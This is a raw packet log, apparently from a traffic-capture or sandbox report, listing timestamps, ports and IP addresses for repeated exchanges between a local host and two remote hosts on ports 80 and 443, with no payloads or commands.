Nov 1, 2024 00:38:54.671504021 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.671535015 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.695626020 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:54.695703030 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:54.697211981 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:54.697222948 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:54.697474003 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:54.699703932 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:54.699868917 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:54.699902058 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:54.715586901 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.715625048 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.715651989 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.715661049 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.715678930 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.715703011 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.745770931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.745826006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.745861053 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.745893955 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.745903015 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.745923042 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.745930910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.745948076 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.745978117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.746110916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.746156931 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.746325016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.746380091 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.746395111 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.746438980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.746526957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.746571064 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.746576071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.746613026 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.746620893 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.746646881 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.746656895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.746687889 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.788464069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.788511992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.788568020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.788568974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.788584948 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.788602114 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.788640022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.788649082 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.788682938 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.832531929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.832568884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.832606077 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.832643032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.832643032 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.832662106 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.862658024 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.862685919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.862770081 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.862802029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.862828016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.862843037 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.862844944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.862870932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.862878084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.862936020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.862958908 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.862977028 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.862998009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.863656998 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.863672972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.863688946 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.863701105 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.863702059 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.863729000 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.863750935 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.864166021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.864181042 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.864196062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.864219904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.864232063 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.905378103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.905431986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.905432940 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.905466080 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.905472994 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.905508995 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.905519962 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.905554056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.905565977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.905595064 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.949357986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.949465990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.949500084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.949532986 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.949558973 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980458975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980529070 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980571032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980598927 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980621099 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980643988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980721951 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980726957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980772018 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980778933 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980813026 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980824947 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980846882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980873108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980881929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.980892897 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.980928898 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.981573105 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.981607914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.981622934 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.981641054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.981645107 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.981676102 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:54.981686115 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:54.981718063 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.022475004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.022512913 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.022547007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.022576094 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.022587061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.022598982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.022623062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.022665977 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.022672892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.022712946 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.066761971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.066800117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.066833973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.066852093 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.066869020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.066886902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.097672939 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.097712994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.097738981 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.097796917 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.097809076 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.097831011 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.097842932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.097877979 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.097884893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.097922087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.097929001 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.097970009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.097973108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098021984 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.098104000 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098148108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.098180056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098212957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098227978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.098247051 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098258972 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.098294020 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.098721981 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098757029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098778009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.098792076 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.098805904 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.098836899 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.099160910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.099190950 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.099210978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.099226952 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.139374971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.139408112 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.139452934 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.139461040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.139478922 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.139497995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.139533043 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.139547110 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.139566898 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.139578104 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.139616013 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.183422089 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.183468103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.183501959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.183517933 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.183537006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.183542967 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.183762074 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.214483023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.214565039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.214586973 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.214598894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.214612961 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.214639902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.214694977 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.214740038 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.214745045 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.214778900 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.214790106 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.214824915 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.214993954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215023994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215043068 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215059996 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215106010 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215152025 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215172052 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215204954 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215218067 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215248108 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215256929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215302944 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215718031 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215751886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215766907 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215785027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.215796947 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.215827942 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.226491928 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.226563931 CET	443	49958	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.226699114 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.226717949 CET	49958	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.256253004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256302118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256335974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.256360054 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.256365061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256403923 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256438971 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256450891 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.256488085 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.256565094 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256613970 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.256617069 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256650925 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256663084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.256688118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.256696939 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.256752968 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.301039934 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.301058054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.301071882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.301110029 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.301147938 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.331542015 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331568956 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331597090 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.331619978 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.331619978 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331638098 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331653118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331679106 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.331715107 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.331870079 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331918001 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331919909 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.331942081 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331964016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331971884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.331979990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.331991911 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.332007885 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.332035065 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.332596064 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.332611084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.332627058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.332640886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.332670927 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.373606920 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.373666048 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.373672009 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.373708010 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.373718023 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.373752117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.373765945 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.373801947 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.373859882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.373889923 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.373909950 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.373933077 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.374028921 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.374078989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.374095917 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.374114990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.374130964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.374149084 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.374160051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.374185085 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.374231100 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.382153034 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.382190943 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.382261992 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.382541895 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:55.382556915 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:55.418488979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.418520927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.418593884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449317932 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449378967 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449378967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449426889 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449450016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449501038 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449518919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449568987 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449569941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449619055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449650049 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449683905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449706078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449733973 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449738026 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449771881 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449783087 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449807882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449814081 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449843884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.449851036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.449886084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.450432062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.450465918 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.450494051 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.450500011 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.450505018 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.450544119 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490569115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490669012 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490711927 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490721941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490737915 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490765095 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490775108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490817070 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490828037 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490858078 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490881920 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490897894 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490899086 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490947962 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.490967035 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.490999937 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:55.491014957 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:55.491033077 CET	80	49948	185.215.113.16	192.168.2.6
